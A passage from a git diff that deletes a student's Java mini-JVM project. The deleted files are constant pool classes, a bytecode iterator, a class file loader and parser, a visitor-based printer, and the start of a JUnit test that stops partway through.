-    public static final int CLASS_INFO = 7;
-    public static final int STRING_INFO = 8;
-    public static final int FIELD_INFO = 9;
-    public static final int METHOD_INFO = 10;
-    public static final int NAME_AND_TYPE_INFO = 12;
-    protected ConstantPool constantPool;
-
-    public ConstantInfo() {
-
-    }
-
-    public ConstantInfo(ConstantPool pool) {
-        this.constantPool = pool;
-    }
-
-    public abstract int getType();
-
-    public abstract void accept(ConstantInfoVisitor visitor);
-
-    public ConstantPool getConstantPool() {
-        return constantPool;
-    }
-
-    public ConstantInfo getConstantInfo(int index) {
-        return this.constantPool.getConstantInfo(index);
-    }
-
-}
diff --git a/group15/1507_977996067/src/task7/jvm/constant/ConstantPool.java b/group15/1507_977996067/src/task7/jvm/constant/ConstantPool.java
deleted file mode 100644
index 485f0dd7c2..0000000000
--- a/group15/1507_977996067/src/task7/jvm/constant/ConstantPool.java
+++ /dev/null
@@ -1,37 +0,0 @@
-package task7.jvm.constant;
-
-import java.util.ArrayList;
-import java.util.List;
-
-public class ConstantPool {
-
-    private List<ConstantInfo> constantInfos;
-
-    public ConstantPool() {
-        this.constantInfos = new ArrayList<>();
-    }
-
-    public ConstantPool(int size) {
-        this.constantInfos = new ArrayList<>(size);
-
-        addConstantInfo(new NullConstantInfo());
-    }
-
-    public void addConstantInfo(ConstantInfo info) {
-
-        this.constantInfos.add(info);
-
-    }
-
-    public ConstantInfo getConstantInfo(int index) {
-        return this.constantInfos.get(index);
-    }
-
-    public String getUTF8String(int index) {
-        return ((UTF8Info) this.constantInfos.get(index)).getValue();
-    }
-
-    public Object getSize() {
-        return this.constantInfos.size() - 1;
-    }
-}
diff --git a/group15/1507_977996067/src/task7/jvm/constant/FieldRefInfo.java b/group15/1507_977996067/src/task7/jvm/constant/FieldRefInfo.java
deleted file mode 100644
index 01474d2dd6..0000000000
--- a/group15/1507_977996067/src/task7/jvm/constant/FieldRefInfo.java
+++ /dev/null
@@ -1,65 +0,0 @@
-package task7.jvm.constant;
-
-import task7.jvm.print.ConstantInfoVisitor;
-
-public class FieldRefInfo extends ConstantInfo {
-    private int type = ConstantInfo.FIELD_INFO;
-    private int classInfoIndex;
-    private int nameAndTypeIndex;
-
-    public FieldRefInfo(ConstantPool pool) {
-        super(pool);
-    }
-
-    public int getType() {
-        return type;
-    }
-
-    @Override
-    public void accept(ConstantInfoVisitor visitor) {
-        visitor.visitFieldRefInfo(this);
-    }
-
-    public int getClassInfoIndex() {
-        return classInfoIndex;
-    }
-
-    public void setClassInfoIndex(int classInfoIndex) {
-        this.classInfoIndex = classInfoIndex;
-    }
-
-    public int getNameAndTypeIndex() {
-        return nameAndTypeIndex;
-    }
-
-    public void setNameAndTypeIndex(int nameAndTypeIndex) {
-        this.nameAndTypeIndex = nameAndTypeIndex;
-    }
-
-    public String toString() {
-
-        NameAndTypeInfo typeInfo = (NameAndTypeInfo) this.getConstantInfo(this.getNameAndTypeIndex());
-
-        return getClassName() + " : " + typeInfo.getName() + ":" + typeInfo.getTypeInfo() + "]";
-    }
-
-    public String getClassName() {
-
-        ClassInfo classInfo = (ClassInfo) this.getConstantInfo(this.getClassInfoIndex());
-
-        UTF8Info utf8Info = (UTF8Info) this.getConstantInfo(classInfo.getUtf8Index());
-
-        return utf8Info.getValue();
-
-    }
-
-    public String getFieldName() {
-        NameAndTypeInfo typeInfo = (NameAndTypeInfo) this.getConstantInfo(this.getNameAndTypeIndex());
-        return typeInfo.getName();
-    }
-
-    public String getFieldType() {
-        NameAndTypeInfo typeInfo = (NameAndTypeInfo) this.getConstantInfo(this.getNameAndTypeIndex());
-        return typeInfo.getTypeInfo();
-    }
-}
diff --git a/group15/1507_977996067/src/task7/jvm/constant/MethodRefInfo.java b/group15/1507_977996067/src/task7/jvm/constant/MethodRefInfo.java
deleted file mode 100644
index 104b798e59..0000000000
--- a/group15/1507_977996067/src/task7/jvm/constant/MethodRefInfo.java
+++ /dev/null
@@ -1,65 +0,0 @@
-package task7.jvm.constant;
-
-import task7.jvm.print.ConstantInfoVisitor;
-
-public class MethodRefInfo extends ConstantInfo {
-
-    private int type = ConstantInfo.METHOD_INFO;
-
-    private int classInfoIndex;
-    private int nameAndTypeIndex;
-
-    public MethodRefInfo(ConstantPool pool) {
-        super(pool);
-    }
-
-    public int getType() {
-        return type;
-    }
-
-    @Override
-    public void accept(ConstantInfoVisitor visitor) {
-        visitor.visitMethodRefInfo(this);
-    }
-
-    public int getClassInfoIndex() {
-        return classInfoIndex;
-    }
-
-    public void setClassInfoIndex(int classInfoIndex) {
-        this.classInfoIndex = classInfoIndex;
-    }
-
-    public int getNameAndTypeIndex() {
-        return nameAndTypeIndex;
-    }
-
-    public void setNameAndTypeIndex(int nameAndTypeIndex) {
-        this.nameAndTypeIndex = nameAndTypeIndex;
-    }
-
-    public String toString() {
-
-        return getClassName() + " : " + this.getMethodName() + " : " + this.getParamAndReturnType();
-    }
-
-    public String getClassName() {
-        ConstantPool pool = this.getConstantPool();
-        ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(this.getClassInfoIndex());
-        return clzInfo.getClassName();
-    }
-
-    public String getMethodName() {
-        ConstantPool pool = this.getConstantPool();
-        NameAndTypeInfo typeInfo = (NameAndTypeInfo) pool.getConstantInfo(this.getNameAndTypeIndex());
-        return typeInfo.getName();
-    }
-
-    public String getParamAndReturnType() {
-        ConstantPool pool = this.getConstantPool();
-        NameAndTypeInfo typeInfo = (NameAndTypeInfo) pool.getConstantInfo(this.getNameAndTypeIndex());
-        return typeInfo.getTypeInfo();
-    }
-
-
-}
diff --git a/group15/1507_977996067/src/task7/jvm/constant/NameAndTypeInfo.java b/group15/1507_977996067/src/task7/jvm/constant/NameAndTypeInfo.java
deleted file mode 100644
index 18089a2008..0000000000
--- a/group15/1507_977996067/src/task7/jvm/constant/NameAndTypeInfo.java
+++ /dev/null
@@ -1,56 +0,0 @@
-package task7.jvm.constant;
-
-import task7.jvm.print.ConstantInfoVisitor;
-
-public class NameAndTypeInfo extends ConstantInfo {
-    public int type = ConstantInfo.NAME_AND_TYPE_INFO;
-
-    private int index1;
-    private int index2;
-
-    public NameAndTypeInfo(ConstantPool pool) {
-        super(pool);
-    }
-
-    public int getIndex1() {
-        return index1;
-    }
-
-    public void setIndex1(int index1) {
-        this.index1 = index1;
-    }
-
-    public int getIndex2() {
-        return index2;
-    }
-
-    public void setIndex2(int index2) {
-        this.index2 = index2;
-    }
-
-    public int getType() {
-        return type;
-    }
-
-    @Override
-    public void accept(ConstantInfoVisitor visitor) {
-        visitor.visitNameAndTypeInfo(this);
-    }
-
-
-    public String getName() {
-        ConstantPool pool = this.getConstantPool();
-        UTF8Info utf8Info1 = (UTF8Info) pool.getConstantInfo(index1);
-        return utf8Info1.getValue();
-    }
-
-    public String getTypeInfo() {
-        ConstantPool pool = this.getConstantPool();
-        UTF8Info utf8Info2 = (UTF8Info) pool.getConstantInfo(index2);
-        return utf8Info2.getValue();
-    }
-
-    public String toString() {
-        return "(" + getName() + "," + getTypeInfo() + ")";
-    }
-}
diff --git a/group15/1507_977996067/src/task7/jvm/constant/NullConstantInfo.java b/group15/1507_977996067/src/task7/jvm/constant/NullConstantInfo.java
deleted file mode 100644
index 216b03a449..0000000000
--- a/group15/1507_977996067/src/task7/jvm/constant/NullConstantInfo.java
+++ /dev/null
@@ -1,21 +0,0 @@
-package task7.jvm.constant;
-
-import task7.jvm.print.ConstantInfoVisitor;
-
-public class NullConstantInfo extends ConstantInfo {
-
-    public NullConstantInfo() {
-
-    }
-
-    @Override
-    public int getType() {
-        return -1;
-    }
-
-    @Override
-    public void accept(ConstantInfoVisitor visitor) {
-        // non impl
-    }
-
-}
diff --git a/group15/1507_977996067/src/task7/jvm/constant/StringInfo.java b/group15/1507_977996067/src/task7/jvm/constant/StringInfo.java
deleted file mode 100644
index 0b601e3adb..0000000000
--- a/group15/1507_977996067/src/task7/jvm/constant/StringInfo.java
+++ /dev/null
@@ -1,35 +0,0 @@
-package task7.jvm.constant;
-
-import task7.jvm.print.ConstantInfoVisitor;
-
-public class StringInfo extends ConstantInfo {
-    private int type = ConstantInfo.STRING_INFO;
-    private int index;
-
-    public StringInfo(ConstantPool pool) {
-        super(pool);
-    }
-
-    public int getType() {
-        return type;
-    }
-
-    @Override
-    public void accept(ConstantInfoVisitor visitor) {
-        visitor.visitStringInfo(this);
-    }
-
-    public int getIndex() {
-        return index;
-    }
-
-    public void setIndex(int index) {
-        this.index = index;
-    }
-
-
-    public String toString() {
-        return this.getConstantPool().getUTF8String(index);
-    }
-
-}
diff --git a/group15/1507_977996067/src/task7/jvm/constant/UTF8Info.java b/group15/1507_977996067/src/task7/jvm/constant/UTF8Info.java
deleted file mode 100644
index 53686ca0a8..0000000000
--- a/group15/1507_977996067/src/task7/jvm/constant/UTF8Info.java
+++ /dev/null
@@ -1,45 +0,0 @@
-package task7.jvm.constant;
-
-import task7.jvm.print.ConstantInfoVisitor;
-
-public class UTF8Info extends ConstantInfo {
-    private int type = ConstantInfo.UTF8_INFO;
-    private int length;
-    private String value;
-
-    public UTF8Info(ConstantPool pool) {
-        super(pool);
-    }
-
-    public int getLength() {
-        return length;
-    }
-
-    public void setLength(int length) {
-        this.length = length;
-    }
-
-    public int getType() {
-        return type;
-    }
-
-    @Override
-    public void accept(ConstantInfoVisitor visitor) {
-        visitor.visitUtf8Info(this);
-    }
-
-    @Override
-    public String toString() {
-        return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value + ")]";
-    }
-
-    public String getValue() {
-        return value;
-    }
-
-    public void setValue(String value) {
-        this.value = value;
-    }
-
-
-}
diff --git a/group15/1507_977996067/src/task7/jvm/field/Field.java b/group15/1507_977996067/src/task7/jvm/field/Field.java
deleted file mode 100644
index 989f3316c4..0000000000
--- a/group15/1507_977996067/src/task7/jvm/field/Field.java
+++ /dev/null
@@ -1,48 +0,0 @@
-package task7.jvm.field;
-
-
-import task7.jvm.constant.ConstantPool;
-import task7.jvm.constant.UTF8Info;
-import task7.jvm.loader.ByteCodeIterator;
-
-public class Field {
-    private int accessFlag;
-    private int nameIndex;
-    private int descriptorIndex;
-
-    private ConstantPool pool;
-
-    public Field(int accessFlag, int nameIndex, int descriptorIndex, ConstantPool pool) {
-
-        this.accessFlag = accessFlag;
-        this.nameIndex = nameIndex;
-        this.descriptorIndex = descriptorIndex;
-        this.pool = pool;
-    }
-
-    public String toString() {
-        String name = ((UTF8Info) pool.getConstantInfo(this.nameIndex)).getValue();
-
-        String desc = ((UTF8Info) pool.getConstantInfo(this.descriptorIndex)).getValue();
-        return name + ":" + desc;
-    }
-
-
-    public static Field parse(ConstantPool pool, ByteCodeIterator iter) {
-
-        int accessFlag = iter.next2Bytes();
-        int nameIndex = iter.next2Bytes();
-        int descIndex = iter.next2Bytes();
-        int attribCount = iter.next2Bytes();
-        //System.out.println("field attribute count:"+ attribCount);
-
-        Field f = new Field(accessFlag, nameIndex, descIndex, pool);
-
-        if (attribCount > 0) {
-            throw new RuntimeException("Field Attribute has not been implemented");
-        }
-
-        return f;
-    }
-
-}
\ No newline at end of file
diff --git a/group15/1507_977996067/src/task7/jvm/loader/ByteCodeIterator.java b/group15/1507_977996067/src/task7/jvm/loader/ByteCodeIterator.java
deleted file mode 100644
index 81c268cdc9..0000000000
--- a/group15/1507_977996067/src/task7/jvm/loader/ByteCodeIterator.java
+++ /dev/null
@@ -1,56 +0,0 @@
-package task7.jvm.loader;
-
-import task7.jvm.util.Util;
-
-import java.util.Arrays;
-
-public class ByteCodeIterator {
-
-    private int position;
-
-    private byte[] bytes;
-
-    public ByteCodeIterator(byte[] bytes) {
-        this.bytes = bytes;
-    }
-
-    public String getMagicNumber() {
-        position = 0;
-        byte[] bytes = Arrays.copyOf(this.bytes, 4);
-        position += 4;
-        return Util.byteToHexString(bytes);
-    }
-
-    public int next2Bytes() {
-        return nextBytes(2);
-    }
-
-    public int next4Bytes() {
-        return nextBytes(4);
-    }
-
-    public int nextFlag() {
-        return nextBytes(1);
-    }
-
-    public void back(int length) {
-        position -= length;
-    }
-
-    public byte[] getBytes(int length) {
-        byte[] bytes = Arrays.copyOfRange(this.bytes, position, position + length);
-        position += length;
-        return bytes;
-    }
-
-    public String nextUxToHexString(int length) {
-        return new String(getBytes(length));
-    }
-
-    private int nextBytes(int size) {
-        byte[] bytes = Arrays.copyOfRange(this.bytes, position, position + size);
-        position += size;
-        return Util.byteToInt(bytes);
-    }
-
-}
diff --git a/group15/1507_977996067/src/task7/jvm/loader/ClassFileLoader.java b/group15/1507_977996067/src/task7/jvm/loader/ClassFileLoader.java
deleted file mode 100644
index 350d8b92f4..0000000000
--- a/group15/1507_977996067/src/task7/jvm/loader/ClassFileLoader.java
+++ /dev/null
@@ -1,122 +0,0 @@
-package task7.jvm.loader;
-
-import org.apache.commons.io.IOUtils;
-import org.apache.commons.lang3.StringUtils;
-import task7.jvm.clz.ClassFile;
-
-import java.io.*;
-import java.util.ArrayList;
-import java.util.List;
-
-public class ClassFileLoader {
-
-    private List<String> clzPaths = new ArrayList<String>();
-
-    public byte[] readBinaryCode(String className) {
-
-        className = className.replace('.', File.separatorChar) + ".class";
-
-        for (String path : this.clzPaths) {
-
-            String clzFileName = path + File.separatorChar + className;
-            byte[] codes = loadClassFile(clzFileName);
-            if (codes != null) {
-                return codes;
-            }
-        }
-        return null;
-    }
-
-    private byte[] loadClassFile(String clzFileName) {
-
-        File f = new File(clzFileName);
-
-        try {
-
-            return IOUtils.toByteArray(new FileInputStream(f));
-
-        } catch (IOException e) {
-            e.printStackTrace();
-            return null;
-        }
-    }
-
-
-    public void addClassPath(String path) {
-        if (this.clzPaths.contains(path)) {
-            return;
-        }
-
-        this.clzPaths.add(path);
-
-    }
-
-
-    public String getClassPath() {
-        return StringUtils.join(this.clzPaths, ";");
-    }
-
-    public ClassFile loadClass(String className) {
-        byte[] codes = this.readBinaryCode(className);
-        ClassFileParser parser = new ClassFileParser();
-        return parser.parse(codes);
-
-    }
-
-
-    // ------------------------------backup------------------------
-    public String getClassPath_V1() {
-
-        StringBuffer buffer = new StringBuffer();
-        for (int i = 0; i < this.clzPaths.size(); i++) {
-            buffer.append(this.clzPaths.get(i));
-            if (i < this.clzPaths.size() - 1) {
-                buffer.append(";");
-            }
-        }
-        return buffer.toString();
-    }
-
-    private byte[] loadClassFile_V1(String clzFileName) {
-
-        BufferedInputStream bis = null;
-
-        try {
-
-            File f = new File(clzFileName);
-
-
-            bis = new BufferedInputStream(new FileInputStream(f));
-
-            ByteArrayOutputStream bos = new ByteArrayOutputStream();
-
-
-            byte[] buffer = new byte[1024];
-            int length = -1;
-
-            while ((length = bis.read(buffer)) != -1) {
-                bos.write(buffer, 0, length);
-            }
-
-            byte[] codes = bos.toByteArray();
-
-            return codes;
-
-        } catch (IOException e) {
-            e.printStackTrace();
-
-        } finally {
-            if (bis != null) {
-                try {
-                    bis.close();
-                } catch (IOException e) {
-                    e.printStackTrace();
-                }
-            }
-        }
-        return null;
-
-    }
-
-
-}
\ No newline at end of file
diff --git a/group15/1507_977996067/src/task7/jvm/loader/ClassFileParser.java b/group15/1507_977996067/src/task7/jvm/loader/ClassFileParser.java
deleted file mode 100644
index eeea785114..0000000000
--- a/group15/1507_977996067/src/task7/jvm/loader/ClassFileParser.java
+++ /dev/null
@@ -1,112 +0,0 @@
-package task7.jvm.loader;
-
-import task7.jvm.clz.AccessFlag;
-import task7.jvm.clz.ClassFile;
-import task7.jvm.clz.ClassIndex;
-import task7.jvm.constant.*;
-import task7.jvm.field.Field;
-import task7.jvm.method.Method;
-
-import java.util.ArrayList;
-import java.util.List;
-
-public class ClassFileParser {
-
-    private ConstantPool constantPool;
-
-    public ClassFile parse(byte[] codes) {
-        ClassFile classFile = new ClassFile();
-        ByteCodeIterator iterator = new ByteCodeIterator(codes);
-        System.out.println(iterator.getMagicNumber());
-
-        classFile.setMinorVersion(iterator.next2Bytes());
-        classFile.setMajorVersion(iterator.next2Bytes());
-
-        parseConstantPool(iterator);
-        classFile.setConstPool(constantPool);
-        classFile.setAccessFlag(parseAccessFlag(iterator));
-        classFile.setClassIndex(parseClassIndex(iterator));//task5 over
-
-        iterator.next2Bytes(); // interface
-
-        classFile.setFields(parseFileds(iterator));
-        classFile.setMethods(parseMethods(classFile, iterator));//task6 over
-        return classFile;
-    }
-
-
-    private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
-        return new AccessFlag(iter.next2Bytes());
-    }
-
-    private ClassIndex parseClassIndex(ByteCodeIterator iter) {
-        ClassIndex clazIndex = new ClassIndex();
-        clazIndex.setThisClassIndex(iter.next2Bytes());
-        clazIndex.setSuperClassIndex(iter.next2Bytes());
-        return clazIndex;
-    }
-
-    private void parseConstantPool(ByteCodeIterator iter) {
-        int poolCount = iter.next2Bytes();
-        ConstantPool pool = new ConstantPool(poolCount);
-        for (int i = 0; i < poolCount; i++) {
-            int tag = iter.nextFlag();
-            if (tag == ConstantInfo.UTF8_INFO) { //utf-8
-                int length = iter.next2Bytes();
-                byte[] bytes = iter.getBytes(length);
-                UTF8Info utf8Info = new UTF8Info(pool);
-                utf8Info.setValue(new String(bytes));
-                utf8Info.setLength(length);
-                pool.addConstantInfo(utf8Info);
-            } else if (tag == ConstantInfo.STRING_INFO) {
-                StringInfo stringInfo = new StringInfo(pool);
-                stringInfo.setIndex(iter.next2Bytes());
-                pool.addConstantInfo(stringInfo);
-            } else if (tag == ConstantInfo.CLASS_INFO) {
-                ClassInfo classInfo = new ClassInfo(pool);
-                classInfo.setUtf8Index(iter.next2Bytes());
-                pool.addConstantInfo(classInfo);
-            } else if (tag == ConstantInfo.FIELD_INFO) {
-                FieldRefInfo fieldRefInfo = new FieldRefInfo(pool);
-                fieldRefInfo.setClassInfoIndex(iter.next2Bytes());
-                fieldRefInfo.setNameAndTypeIndex(iter.next2Bytes());
-                pool.addConstantInfo(fieldRefInfo);
-            } else if (tag == ConstantInfo.METHOD_INFO) {
-                MethodRefInfo methodRefInfo = new MethodRefInfo(pool);
-                methodRefInfo.setClassInfoIndex(iter.next2Bytes());
-                methodRefInfo.setNameAndTypeIndex(iter.next2Bytes());
-                pool.addConstantInfo(methodRefInfo);
-            } else if (tag == ConstantInfo.NAME_AND_TYPE_INFO) {
-                NameAndTypeInfo nameAndTypeInfo = new NameAndTypeInfo(pool);
-                nameAndTypeInfo.setIndex1(iter.next2Bytes());
-                nameAndTypeInfo.setIndex2(iter.next2Bytes());
-                pool.addConstantInfo(nameAndTypeInfo);
-            }
-        }
-        this.constantPool = pool;
-    }
-
-    private List<Field> parseFileds(ByteCodeIterator iter) {
-        int fieldCount = iter.next2Bytes();
-
-        List<Field> fieldList = new ArrayList<>(fieldCount);
-
-        for (int i = 0; i < fieldCount; i++) {
-            Field f = Field.parse(constantPool, iter);
-            fieldList.add(f);
-        }
-        return fieldList;
-    }
-
-    private List<Method> parseMethods(ClassFile classFile, ByteCodeIterator iter) {
-        int methodCount = iter.next2Bytes();
-
-        List<Method> methodList = new ArrayList<>(methodCount);
-
-        for (int i = 0; i < methodCount; i++) {
-            Method m = Method.parse(classFile, iter);
-            methodList.add(m);
-        }
-        return methodList;
-    }
-}
diff --git a/group15/1507_977996067/src/task7/jvm/method/Method.java b/group15/1507_977996067/src/task7/jvm/method/Method.java
deleted file mode 100644
index 13643df703..0000000000
--- a/group15/1507_977996067/src/task7/jvm/method/Method.java
+++ /dev/null
@@ -1,91 +0,0 @@
-package task7.jvm.method;
-
-import task7.jvm.attr.AttributeInfo;
-import task7.jvm.attr.CodeAttr;
-import task7.jvm.clz.ClassFile;
-import task7.jvm.constant.ConstantPool;
-import task7.jvm.constant.UTF8Info;
-import task7.jvm.loader.ByteCodeIterator;
-
-public class Method {
-    private int accessFlag;
-    private int nameIndex;
-    private int descriptorIndex;
-
-    private CodeAttr codeAttr;
-
-    private ClassFile clzFile;
-
-
-    public ClassFile getClzFile() {
-        return clzFile;
-    }
-
-    public int getNameIndex() {
-        return nameIndex;
-    }
-
-    public int getDescriptorIndex() {
-        return descriptorIndex;
-    }
-
-    public CodeAttr getCodeAttr() {
-        return codeAttr;
-    }
-
-    public void setCodeAttr(CodeAttr code) {
-        this.codeAttr = code;
-    }
-
-    public Method(ClassFile clzFile, int accessFlag, int nameIndex, int descriptorIndex) {
-        this.clzFile = clzFile;
-        this.accessFlag = accessFlag;
-        this.nameIndex = nameIndex;
-        this.descriptorIndex = descriptorIndex;
-    }
-
-
-    public String toString() {
-
-        ConstantPool pool = this.clzFile.getConstantPool();
-        StringBuilder buffer = new StringBuilder();
-
-        String name = ((UTF8Info) pool.getConstantInfo(this.nameIndex)).getValue();
-
-        String desc = ((UTF8Info) pool.getConstantInfo(this.descriptorIndex)).getValue();
-
-        buffer.append(name).append(":").append(desc).append("\n");
-
-        buffer.append(this.codeAttr.toString(pool));
-
-        return buffer.toString();
-    }
-
-    public static Method parse(ClassFile clzFile, ByteCodeIterator iter) {
-        int accessFlag = iter.next2Bytes();
-        int nameIndex = iter.next2Bytes();
-        int descIndex = iter.next2Bytes();
-        int attribCount = iter.next2Bytes();
-
-
-        Method m = new Method(clzFile, accessFlag, nameIndex, descIndex);
-
-        for (int j = 1; j <= attribCount; j++) {
-
-            int attrNameIndex = iter.next2Bytes();
-            String attrName = clzFile.getConstantPool().getUTF8String(attrNameIndex);
-            iter.back(2);
-
-            if (AttributeInfo.CODE.equalsIgnoreCase(attrName)) {
-                CodeAttr codeAttr = CodeAttr.parse(clzFile, iter);
-                m.setCodeAttr(codeAttr);
-            } else {
-                throw new RuntimeException("only CODE attribute is implemented , please implement the " + attrName);
-            }
-
-        }
-
-        return m;
-
-    }
-}
diff --git a/group15/1507_977996067/src/task7/jvm/print/ClassFilePrinter.java b/group15/1507_977996067/src/task7/jvm/print/ClassFilePrinter.java
deleted file mode 100644
index 3f4607a044..0000000000
--- a/group15/1507_977996067/src/task7/jvm/print/ClassFilePrinter.java
+++ /dev/null
@@ -1,44 +0,0 @@
-package task7.jvm.print;
-
-import task7.jvm.clz.ClassFile;
-import task7.jvm.loader.ClassFileLoader;
-
-public class ClassFilePrinter {
-    ClassFile clzFile = null;
-
-    public ClassFilePrinter(ClassFile clzFile) {
-        this.clzFile = clzFile;
-    }
-
-    public void print() {
-
-        if (clzFile.getAccessFlag().isPublicClass()) {
-            System.out.println("Access flag : public  ");
-        }
-        System.out.println("Class Name:" + clzFile.getClassName());
-
-        System.out.println("Super Class Name:" + clzFile.getSuperClassName());
-
-        System.out.println("minor version:" + clzFile.getMinorVersion());
-
-        System.out.println("major version:" + clzFile.getMinorVersion());
-
-        ConstantPoolPrinter cnstPoolPrinter = new ConstantPoolPrinter(clzFile.getConstantPool());
-        cnstPoolPrinter.print();
-
-
-    }
-
-    public static void main(String[] args) {
-        String path = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\bin";
-        ClassFileLoader loader = new ClassFileLoader();
-        loader.addClassPath(path);
-        String className = "com.coderising.jvm.test.EmployeeV1";
-
-        ClassFile clzFile = loader.loadClass(className);
-
-        ClassFilePrinter printer = new ClassFilePrinter(clzFile);
-
-        printer.print();
-    }
-}
diff --git a/group15/1507_977996067/src/task7/jvm/print/ConstantInfoVisitor.java b/group15/1507_977996067/src/task7/jvm/print/ConstantInfoVisitor.java
deleted file mode 100644
index 40851fc1bf..0000000000
--- a/group15/1507_977996067/src/task7/jvm/print/ConstantInfoVisitor.java
+++ /dev/null
@@ -1,18 +0,0 @@
-package task7.jvm.print;
-
-import task7.jvm.constant.*;
-
-public interface ConstantInfoVisitor {
-
-    void visitClassInfo(ClassInfo classInfo);
-
-    void visitFieldRefInfo(FieldRefInfo fieldRefInfo);
-
-    void visitMethodRefInfo(MethodRefInfo methodRefInfo);
-
-    void visitNameAndTypeInfo(NameAndTypeInfo nameAndTypeInfo);
-
-    void visitStringInfo(StringInfo stringInfo);
-
-    void visitUtf8Info(UTF8Info utf8Info);
-}
diff --git a/group15/1507_977996067/src/task7/jvm/print/ConstantInfoVisitorImpl.java b/group15/1507_977996067/src/task7/jvm/print/ConstantInfoVisitorImpl.java
deleted file mode 100644
index 776d23bc79..0000000000
--- a/group15/1507_977996067/src/task7/jvm/print/ConstantInfoVisitorImpl.java
+++ /dev/null
@@ -1,51 +0,0 @@
-package task7.jvm.print;
-
-import task7.jvm.constant.*;
-
-public class ConstantInfoVisitorImpl implements ConstantInfoVisitor {
-    @Override
-    public void visitClassInfo(ClassInfo classInfo) {
-        StringBuilder sb = new StringBuilder();
-        sb.append("Class\t#").append(classInfo.getUtf8Index()).append("\t").append(classInfo.getClassName());
-        System.out.println(sb);
-    }
-
-    @Override
-    public void visitFieldRefInfo(FieldRefInfo fieldRefInfo) {
-        StringBuilder sb = new StringBuilder();
-        sb.append("FieldRef\t#").append(fieldRefInfo.getClassInfoIndex()).append("\t").append(fieldRefInfo.getFieldName());
-        System.out.println(sb);
-
-    }
-
-    @Override
-    public void visitMethodRefInfo(MethodRefInfo methodRefInfo) {
-        StringBuilder sb = new StringBuilder();
-        sb.append("MethodRef\t#").append(methodRefInfo.getMethodName());
-        System.out.println(sb);
-    }
-
-    @Override
-    public void visitNameAndTypeInfo(NameAndTypeInfo nameAndTypeInfo) {
-        StringBuilder sb = new StringBuilder();
-        sb.append("NameAndType\t#").append(nameAndTypeInfo.getName()).append("\t")
-                .append(nameAndTypeInfo.getIndex1()).append("\t")
-                .append(nameAndTypeInfo.getIndex2()).append("\t")
-                .append(nameAndTypeInfo.getTypeInfo());
-        System.out.println(sb);
-    }
-
-    @Override
-    public void visitStringInfo(StringInfo stringInfo) {
-        StringBuilder sb = new StringBuilder();
-        sb.append("String\t#").append(stringInfo.getIndex());
-        System.out.println(sb);
-    }
-
-    @Override
-    public void visitUtf8Info(UTF8Info utf8Info) {
-        StringBuilder sb = new StringBuilder();
-        sb.append("UTF8\t#").append(utf8Info.getValue());
-        System.out.println(sb);
-    }
-}
diff --git a/group15/1507_977996067/src/task7/jvm/print/ConstantPoolPrinter.java b/group15/1507_977996067/src/task7/jvm/print/ConstantPoolPrinter.java
deleted file mode 100644
index d6e87cad83..0000000000
--- a/group15/1507_977996067/src/task7/jvm/print/ConstantPoolPrinter.java
+++ /dev/null
@@ -1,26 +0,0 @@
-package task7.jvm.print;
-
-import task7.jvm.constant.ConstantInfo;
-import task7.jvm.constant.ConstantPool;
-
-public class ConstantPoolPrinter {
-
-    private ConstantPool pool;
-
-    ConstantPoolPrinter(ConstantPool pool) {
-        this.pool = pool;
-    }
-
-    public void print() {
-
-        System.out.println("Constant Pool:");
-
-        ConstantInfoVisitor visitor = new ConstantInfoVisitorImpl();
-        int size = (int) pool.getSize();
-        for (int i = 0; i < size; i++) {
-            System.out.print("#" + i + "= ");
-            ConstantInfo constantInfo = pool.getConstantInfo(i);
-            constantInfo.accept(visitor);
-        }
-    }
-}
diff --git a/group15/1507_977996067/src/task7/jvm/test/ClassFileloaderTest.java b/group15/1507_977996067/src/task7/jvm/test/ClassFileloaderTest.java
deleted file mode 100644
index 53bea9b04e..0000000000
--- a/group15/1507_977996067/src/task7/jvm/test/ClassFileloaderTest.java
+++ /dev/null
@@ -1,191 +0,0 @@
-package task7.jvm.test;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-import task7.jvm.clz.ClassFile;
-import task7.jvm.clz.ClassIndex;
-import task7.jvm.constant.*;
-import task7.jvm.loader.ClassFileLoader;
-
-public class ClassFileloaderTest {
-
-
-    private static final String FULL_QUALIFIED_CLASS_NAME = "EmployeeV1";
-
-    static String path1 = "E:\\Idea\\coding2017\\group15\\1507_977996067\\out\\task5\\jvm\\test";
-    static String path2 = "C:\temp";
-
-    static ClassFile clzFile = null;
-    static {
-        ClassFileLoader loader = new ClassFileLoader();
-        loader.addClassPath(path1);
-        String className = "EmployeeV1";
-
-        clzFile = loader.loadClass(className);
-//        clzFile.print();
-    }
-
-
-    @Before
-    public void setUp() throws Exception {
-    }
-
-    @After
-    public void tearDown() throws Exception {
-    }
-
-    @Test
-    public void testClassPath() {
-
-        ClassFileLoader loader = new ClassFileLoader();
-        loader.addClassPath(path1);
-        loader.addClassPath(path2);
-
-        String clzPath = loader.getClassPath();
-
-        Assert.assertEquals(path1 + ";" + path2, clzPath);
-
-    }
-
-    @Test
-    public void testClassFileLength() {
-
-        ClassFileLoader loader = new ClassFileLoader();
-        loader.addClassPath(path1);
-
-        String className = "EmployeeV1";
-
-        byte[] byteCodes = loader.readBinaryCode(className);
-
-        // 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
-        Assert.assertEquals(1038, byteCodes.length);
-
-    }
-
-
-    @Test
-    public void testMagicNumber() {
-        ClassFileLoader loader = new ClassFileLoader();
-        loader.addClassPath(path1);
-        String className = "EmployeeV1";
-        byte[] byteCodes = loader.readBinaryCode(className);
-        byte[] codes = new byte[]{byteCodes[0], byteCodes[1], byteCodes[2], byteCodes[3]};
-
-        String actualValue = this.byteToHexString(codes);
-
-        Assert.assertEquals("cafebabe", actualValue);
-    }
-
-
-    private String byteToHexString(byte[] codes) {
-        StringBuffer buffer = new StringBuffer();
-        for (int i = 0; i < codes.length; i++) {
-            byte b = codes[i];
-            int value = b & 0xFF;
-            String strHex = Integer.toHexString(value);
-            if (strHex.length() < 2) {
-                strHex = "0" + strHex;
-            }
-            buffer.append(strHex);
-        }
-        return buffer.toString();
-    }
-
-    /**
-     * ----------------------------------------------------------------------
-     */
-
-
-    @Test
-    public void testVersion() {
-
-        Assert.assertEquals(0, clzFile.getMinorVersion());
-        Assert.assertEquals(52, clzFile.getMajorVersion());
-
-    }
-
-    @Test
-    public void testConstantPool() {
-
-
-        ConstantPool pool = clzFile.getConstantPool();
-
